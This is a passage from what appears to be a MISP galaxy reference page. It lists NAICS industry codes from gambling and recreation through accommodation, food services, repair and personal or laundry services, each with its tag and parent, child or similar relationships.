- child-of: misp-galaxy:naics="7132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71321" with estimative-language:likelihood-probability="likely"

71329

Other Gambling Industries

The tag is: *misp-galaxy:naics="71329"*

View relationships graph

71329 has relationships with:

- child-of: misp-galaxy:naics="7132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713290" with estimative-language:likelihood-probability="likely"

713290

Other Gambling Industries

The tag is: *misp-galaxy:naics="713290"*

View relationships graph

713290 has relationships with:

- child-of: misp-galaxy:naics="7132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71329" with estimative-language:likelihood-probability="likely"

7139

Other Amusement and Recreation Industries

The tag is: *misp-galaxy:naics="7139"*

View relationships graph

7139 has relationships with:

- child-of: misp-galaxy:naics="713" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71391" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71392" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71393" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71394" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713940" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71395" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713950" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="71399" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="713990" with estimative-language:likelihood-probability="likely"

71391

Golf Courses and Country Clubs

The tag is: *misp-galaxy:naics="71391"*

View relationships graph

71391 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713910" with estimative-language:likelihood-probability="likely"

713910

Golf Courses and Country Clubs

The tag is: *misp-galaxy:naics="713910"*

View relationships graph

713910 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71391" with estimative-language:likelihood-probability="likely"

71392

Skiing Facilities

The tag is: *misp-galaxy:naics="71392"*

View relationships graph

71392 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713920" with estimative-language:likelihood-probability="likely"

713920

Skiing Facilities

The tag is: *misp-galaxy:naics="713920"*

View relationships graph

713920 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71392" with estimative-language:likelihood-probability="likely"

71393

Marinas

The tag is: *misp-galaxy:naics="71393"*

View relationships graph

71393 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713930" with estimative-language:likelihood-probability="likely"

713930

Marinas

The tag is: *misp-galaxy:naics="713930"*

View relationships graph

713930 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71393" with estimative-language:likelihood-probability="likely"

71394

Fitness and Recreational Sports Centers

The tag is: *misp-galaxy:naics="71394"*

View relationships graph

71394 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713940" with estimative-language:likelihood-probability="likely"

713940

Fitness and Recreational Sports Centers

The tag is: *misp-galaxy:naics="713940"*

View relationships graph

713940 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71394" with estimative-language:likelihood-probability="likely"

71395

Bowling Centers

The tag is: *misp-galaxy:naics="71395"*

View relationships graph

71395 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713950" with estimative-language:likelihood-probability="likely"

713950

Bowling Centers

The tag is: *misp-galaxy:naics="713950"*

View relationships graph

713950 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71395" with estimative-language:likelihood-probability="likely"

71399

All Other Amusement and Recreation Industries

The tag is: *misp-galaxy:naics="71399"*

View relationships graph

71399 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="713990" with estimative-language:likelihood-probability="likely"

713990

All Other Amusement and Recreation Industries

The tag is: *misp-galaxy:naics="713990"*

View relationships graph

713990 has relationships with:

- child-of: misp-galaxy:naics="7139" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="71399" with estimative-language:likelihood-probability="likely"

72

Accommodation and Food Services

The tag is: *misp-galaxy:naics="72"*

View relationships graph

72 has relationships with:

- parent-of: misp-galaxy:naics="721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722" with estimative-language:likelihood-probability="likely"

721

Accommodation

The tag is: *misp-galaxy:naics="721"*

View relationships graph

721 has relationships with:

- child-of: misp-galaxy:naics="72" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7213" with estimative-language:likelihood-probability="likely"

7211

Traveler Accommodation

The tag is: *misp-galaxy:naics="7211"*

View relationships graph

7211 has relationships with:

- child-of: misp-galaxy:naics="721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="721110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="721120" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="72119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="721191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="721199" with estimative-language:likelihood-probability="likely"

72111

Hotels (except Casino Hotels) and Motels

The tag is: *misp-galaxy:naics="72111"*

View relationships graph

72111 has relationships with:

- child-of: misp-galaxy:naics="7211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="721110" with estimative-language:likelihood-probability="likely"

721110

Hotels (except Casino Hotels) and Motels

The tag is: *misp-galaxy:naics="721110"*

View relationships graph

721110 has relationships with:

- child-of: misp-galaxy:naics="7211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="72111" with estimative-language:likelihood-probability="likely"

72112

Casino Hotels

The tag is: *misp-galaxy:naics="72112"*

View relationships graph

72112 has relationships with:

- child-of: misp-galaxy:naics="7211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="721120" with estimative-language:likelihood-probability="likely"

721120

Casino Hotels

The tag is: *misp-galaxy:naics="721120"*

View relationships graph

721120 has relationships with:

- child-of: misp-galaxy:naics="7211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="72112" with estimative-language:likelihood-probability="likely"

72119

Other Traveler Accommodation

The tag is: *misp-galaxy:naics="72119"*

View relationships graph

72119 has relationships with:

- child-of: misp-galaxy:naics="7211" with estimative-language:likelihood-probability="likely"

721191

Bed-and-Breakfast Inns

The tag is: *misp-galaxy:naics="721191"*

View relationships graph

721191 has relationships with:

- child-of: misp-galaxy:naics="7211" with estimative-language:likelihood-probability="likely"

721199

All Other Traveler Accommodation

The tag is: *misp-galaxy:naics="721199"*

View relationships graph

721199 has relationships with:

- child-of: misp-galaxy:naics="7211" with estimative-language:likelihood-probability="likely"

7212

RV (Recreational Vehicle) Parks and Recreational Camps

The tag is: *misp-galaxy:naics="7212"*

View relationships graph

7212 has relationships with:

- child-of: misp-galaxy:naics="721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="721211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="721214" with estimative-language:likelihood-probability="likely"

72121

RV (Recreational Vehicle) Parks and Recreational Camps

The tag is: *misp-galaxy:naics="72121"*

View relationships graph

72121 has relationships with:

- child-of: misp-galaxy:naics="7212" with estimative-language:likelihood-probability="likely"

721211

RV (Recreational Vehicle) Parks and Campgrounds

The tag is: *misp-galaxy:naics="721211"*

View relationships graph

721211 has relationships with:

- child-of: misp-galaxy:naics="7212" with estimative-language:likelihood-probability="likely"

721214

Recreational and Vacation Camps (except Campgrounds)

The tag is: *misp-galaxy:naics="721214"*

View relationships graph

721214 has relationships with:

- child-of: misp-galaxy:naics="7212" with estimative-language:likelihood-probability="likely"

7213

Rooming and Boarding Houses, Dormitories, and Workers' Camps

The tag is: *misp-galaxy:naics="7213"*

View relationships graph

7213 has relationships with:

- child-of: misp-galaxy:naics="721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="721310" with estimative-language:likelihood-probability="likely"

72131

Rooming and Boarding Houses, Dormitories, and Workers' Camps

The tag is: *misp-galaxy:naics="72131"*

View relationships graph

72131 has relationships with:

- child-of: misp-galaxy:naics="7213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="721310" with estimative-language:likelihood-probability="likely"

721310

Rooming and Boarding Houses, Dormitories, and Workers' Camps

The tag is: *misp-galaxy:naics="721310"*

View relationships graph

721310 has relationships with:

- child-of: misp-galaxy:naics="7213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="72131" with estimative-language:likelihood-probability="likely"

722

Food Services and Drinking Places

The tag is: *misp-galaxy:naics="722"*

View relationships graph

722 has relationships with:

- child-of: misp-galaxy:naics="72" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="7224" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="7225" with estimative-language:likelihood-probability="likely"

7223

Special Food Services

The tag is: *misp-galaxy:naics="7223"*

View relationships graph

7223 has relationships with:

- child-of: misp-galaxy:naics="722" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72233" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722330" with estimative-language:likelihood-probability="likely"

72231

Food Service Contractors

The tag is: *misp-galaxy:naics="72231"*

View relationships graph

72231 has relationships with:

- child-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="722310" with estimative-language:likelihood-probability="likely"

722310

Food Service Contractors

The tag is: *misp-galaxy:naics="722310"*

View relationships graph

722310 has relationships with:

- child-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="72231" with estimative-language:likelihood-probability="likely"

72232

Caterers

The tag is: *misp-galaxy:naics="72232"*

View relationships graph

72232 has relationships with:

- child-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="722320" with estimative-language:likelihood-probability="likely"

722320

Caterers

The tag is: *misp-galaxy:naics="722320"*

View relationships graph

722320 has relationships with:

- child-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="72232" with estimative-language:likelihood-probability="likely"

72233

Mobile Food Services

The tag is: *misp-galaxy:naics="72233"*

View relationships graph

72233 has relationships with:

- child-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="722330" with estimative-language:likelihood-probability="likely"

722330

Mobile Food Services

The tag is: *misp-galaxy:naics="722330"*

View relationships graph

722330 has relationships with:

- child-of: misp-galaxy:naics="7223" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="72233" with estimative-language:likelihood-probability="likely"

7224

Drinking Places (Alcoholic Beverages)

The tag is: *misp-galaxy:naics="7224"*

View relationships graph

7224 has relationships with:

- child-of: misp-galaxy:naics="722" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72241" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722410" with estimative-language:likelihood-probability="likely"

72241

Drinking Places (Alcoholic Beverages)

The tag is: *misp-galaxy:naics="72241"*

View relationships graph

72241 has relationships with:

- child-of: misp-galaxy:naics="7224" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="722410" with estimative-language:likelihood-probability="likely"

722410

Drinking Places (Alcoholic Beverages)

The tag is: *misp-galaxy:naics="722410"*

View relationships graph

722410 has relationships with:

- child-of: misp-galaxy:naics="7224" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="72241" with estimative-language:likelihood-probability="likely"

7225

Restaurants and Other Eating Places

The tag is: *misp-galaxy:naics="7225"*

View relationships graph

7225 has relationships with:

- child-of: misp-galaxy:naics="722" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="72251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722514" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="722515" with estimative-language:likelihood-probability="likely"

72251

Restaurants and Other Eating Places

The tag is: *misp-galaxy:naics="72251"*

View relationships graph

72251 has relationships with:

- child-of: misp-galaxy:naics="7225" with estimative-language:likelihood-probability="likely"

722511

Full-Service Restaurants

The tag is: *misp-galaxy:naics="722511"*

View relationships graph

722511 has relationships with:

- child-of: misp-galaxy:naics="7225" with estimative-language:likelihood-probability="likely"

722513

Limited-Service Restaurants

The tag is: *misp-galaxy:naics="722513"*

View relationships graph

722513 has relationships with:

- child-of: misp-galaxy:naics="7225" with estimative-language:likelihood-probability="likely"

722514

Cafeterias, Grill Buffets, and Buffets

The tag is: *misp-galaxy:naics="722514"*

View relationships graph

722514 has relationships with:

- child-of: misp-galaxy:naics="7225" with estimative-language:likelihood-probability="likely"

722515

Snack and Nonalcoholic Beverage Bars

The tag is: *misp-galaxy:naics="722515"*

View relationships graph

722515 has relationships with:

- child-of: misp-galaxy:naics="7225" with estimative-language:likelihood-probability="likely"

81

Other Services (except Public Administration)

The tag is: *misp-galaxy:naics="81"*

View relationships graph

81 has relationships with:

- parent-of: misp-galaxy:naics="811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="813" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="814" with estimative-language:likelihood-probability="likely"

811

Repair and Maintenance

The tag is: *misp-galaxy:naics="811"*

View relationships graph

811 has relationships with:

- child-of: misp-galaxy:naics="81" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"

8111

Automotive Repair and Maintenance

The tag is: *misp-galaxy:naics="8111"*

View relationships graph

8111 has relationships with:

- child-of: misp-galaxy:naics="811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81119" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811192" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811198" with estimative-language:likelihood-probability="likely"

81111

Automotive Mechanical and Electrical Repair and Maintenance

The tag is: *misp-galaxy:naics="81111"*

View relationships graph

81111 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811111

General Automotive Repair

The tag is: *misp-galaxy:naics="811111"*

View relationships graph

811111 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811114

Specialized Automotive Repair

The tag is: *misp-galaxy:naics="811114"*

View relationships graph

811114 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

81112

Automotive Body, Paint, Interior, and Glass Repair

The tag is: *misp-galaxy:naics="81112"*

View relationships graph

81112 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811121

Automotive Body, Paint, and Interior Repair and Maintenance

The tag is: *misp-galaxy:naics="811121"*

View relationships graph

811121 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811122

Automotive Glass Replacement Shops

The tag is: *misp-galaxy:naics="811122"*

View relationships graph

811122 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

81119

Other Automotive Repair and Maintenance

The tag is: *misp-galaxy:naics="81119"*

View relationships graph

81119 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811191

Automotive Oil Change and Lubrication Shops

The tag is: *misp-galaxy:naics="811191"*

View relationships graph

811191 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811192

Car Washes

The tag is: *misp-galaxy:naics="811192"*

View relationships graph

811192 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

811198

All Other Automotive Repair and Maintenance

The tag is: *misp-galaxy:naics="811198"*

View relationships graph

811198 has relationships with:

- child-of: misp-galaxy:naics="8111" with estimative-language:likelihood-probability="likely"

8112

Electronic and Precision Equipment Repair and Maintenance

The tag is: *misp-galaxy:naics="8112"*

View relationships graph

8112 has relationships with:

- child-of: misp-galaxy:naics="811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811210" with estimative-language:likelihood-probability="likely"

81121

Electronic and Precision Equipment Repair and Maintenance

The tag is: *misp-galaxy:naics="81121"*

View relationships graph

81121 has relationships with:

- child-of: misp-galaxy:naics="8112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="811210" with estimative-language:likelihood-probability="likely"

811210

Electronic and Precision Equipment Repair and Maintenance

The tag is: *misp-galaxy:naics="811210"*

View relationships graph

811210 has relationships with:

- child-of: misp-galaxy:naics="8112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81121" with estimative-language:likelihood-probability="likely"

8113

Commercial and Industrial Machinery and Equipment (except Automotive and Electronic) Repair and Maintenance

The tag is: *misp-galaxy:naics="8113"*

View relationships graph

8113 has relationships with:

- child-of: misp-galaxy:naics="811" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811310" with estimative-language:likelihood-probability="likely"

81131

Commercial and Industrial Machinery and Equipment (except Automotive and Electronic) Repair and Maintenance

The tag is: *misp-galaxy:naics="81131"*

View relationships graph

81131 has relationships with:

- child-of: misp-galaxy:naics="8113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="811310" with estimative-language:likelihood-probability="likely"

811310

Commercial and Industrial Machinery and Equipment (except Automotive and Electronic) Repair and Maintenance

The tag is: *misp-galaxy:naics="811310"*

View relationships graph

811310 has relationships with:

- child-of: misp-galaxy:naics="8113" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81131" with estimative-language:likelihood-probability="likely"

8114

Personal and Household Goods Repair and Maintenance

The tag is: *misp-galaxy:naics="8114"*

View relationships graph

8114 has relationships with:

- child-of: misp-galaxy:naics="811" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="81141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81142" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81143" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811430" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81149" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="811490" with estimative-language:likelihood-probability="likely"

81141

Home and Garden Equipment and Appliance Repair and Maintenance

The tag is: *misp-galaxy:naics="81141"*

View relationships graph

81141 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"

811411

Home and Garden Equipment Repair and Maintenance

The tag is: *misp-galaxy:naics="811411"*

View relationships graph

811411 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"

811412

Appliance Repair and Maintenance

The tag is: *misp-galaxy:naics="811412"*

View relationships graph

811412 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"

81142

Reupholstery and Furniture Repair

The tag is: *misp-galaxy:naics="81142"*

View relationships graph

81142 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="811420" with estimative-language:likelihood-probability="likely"

811420

Reupholstery and Furniture Repair

The tag is: *misp-galaxy:naics="811420"*

View relationships graph

811420 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81142" with estimative-language:likelihood-probability="likely"

81143

Footwear and Leather Goods Repair

The tag is: *misp-galaxy:naics="81143"*

View relationships graph

81143 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="811430" with estimative-language:likelihood-probability="likely"

811430

Footwear and Leather Goods Repair

The tag is: *misp-galaxy:naics="811430"*

View relationships graph

811430 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81143" with estimative-language:likelihood-probability="likely"

81149

Other Personal and Household Goods Repair and Maintenance

The tag is: *misp-galaxy:naics="81149"*

View relationships graph

81149 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="811490" with estimative-language:likelihood-probability="likely"

811490

Other Personal and Household Goods Repair and Maintenance

The tag is: *misp-galaxy:naics="811490"*

View relationships graph

811490 has relationships with:

- child-of: misp-galaxy:naics="8114" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81149" with estimative-language:likelihood-probability="likely"

812

Personal and Laundry Services

The tag is: *misp-galaxy:naics="812"*

View relationships graph

812 has relationships with:

- child-of: misp-galaxy:naics="81" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="8129" with estimative-language:likelihood-probability="likely"

8121

Personal Care Services

The tag is: *misp-galaxy:naics="8121"*

View relationships graph

8121 has relationships with:

- child-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81219" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812199" with estimative-language:likelihood-probability="likely"

81211

Hair, Nail, and Skin Care Services

The tag is: *misp-galaxy:naics="81211"*

View relationships graph

81211 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

812111

Barber Shops

The tag is: *misp-galaxy:naics="812111"*

View relationships graph

812111 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

812112

Beauty Salons

The tag is: *misp-galaxy:naics="812112"*

View relationships graph

812112 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

812113

Nail Salons

The tag is: *misp-galaxy:naics="812113"*

View relationships graph

812113 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

81219

Other Personal Care Services

The tag is: *misp-galaxy:naics="81219"*

View relationships graph

81219 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

812191

Diet and Weight Reducing Centers

The tag is: *misp-galaxy:naics="812191"*

View relationships graph

812191 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

812199

Other Personal Care Services

The tag is: *misp-galaxy:naics="812199"*

View relationships graph

812199 has relationships with:

- child-of: misp-galaxy:naics="8121" with estimative-language:likelihood-probability="likely"

8122

Death Care Services

The tag is: *misp-galaxy:naics="8122"*

View relationships graph

8122 has relationships with:

- child-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812220" with estimative-language:likelihood-probability="likely"

81221

Funeral Homes and Funeral Services

The tag is: *misp-galaxy:naics="81221"*

View relationships graph

81221 has relationships with:

- child-of: misp-galaxy:naics="8122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="812210" with estimative-language:likelihood-probability="likely"

812210

Funeral Homes and Funeral Services

The tag is: *misp-galaxy:naics="812210"*

View relationships graph

812210 has relationships with:

- child-of: misp-galaxy:naics="8122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81221" with estimative-language:likelihood-probability="likely"

81222

Cemeteries and Crematories

The tag is: *misp-galaxy:naics="81222"*

View relationships graph

81222 has relationships with:

- child-of: misp-galaxy:naics="8122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="812220" with estimative-language:likelihood-probability="likely"

812220

Cemeteries and Crematories

The tag is: *misp-galaxy:naics="812220"*

View relationships graph

812220 has relationships with:

- child-of: misp-galaxy:naics="8122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81222" with estimative-language:likelihood-probability="likely"

8123

Drycleaning and Laundry Services

The tag is: *misp-galaxy:naics="8123"*

View relationships graph

8123 has relationships with:

- child-of: misp-galaxy:naics="812" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="81233" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="812332" with estimative-language:likelihood-probability="likely"

81231

Coin-Operated Laundries and Drycleaners

The tag is: *misp-galaxy:naics="81231"*

View relationships graph

81231 has relationships with:

- child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="812310" with estimative-language:likelihood-probability="likely"

812310

Coin-Operated Laundries and Drycleaners

The tag is: *misp-galaxy:naics="812310"*

View relationships graph

812310 has relationships with:

- child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81231" with estimative-language:likelihood-probability="likely"

81232

Drycleaning and Laundry Services (except Coin-Operated)

The tag is: *misp-galaxy:naics="81232"*

View relationships graph

81232 has relationships with:

- child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="812320" with estimative-language:likelihood-probability="likely"

812320

Drycleaning and Laundry Services (except Coin-Operated)

The tag is: *misp-galaxy:naics="812320"*

View relationships graph

812320 has relationships with:

- child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="81232" with estimative-language:likelihood-probability="likely"

81233

Linen and Uniform Supply

The tag is: *misp-galaxy:naics="81233"*

View relationships graph

81233 has relationships with:

- child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"

812331

Linen Supply

The tag is: *misp-galaxy:naics="812331"*

View relationships graph

812331 has relationships with:

- child-of: misp-galaxy:naics="8123" with estimative-language:likelihood-probability="likely"

812332

Industrial Launderers

The tag is: *misp-galaxy:naics="812332"*

View relationships graph

812332 has relationships with:

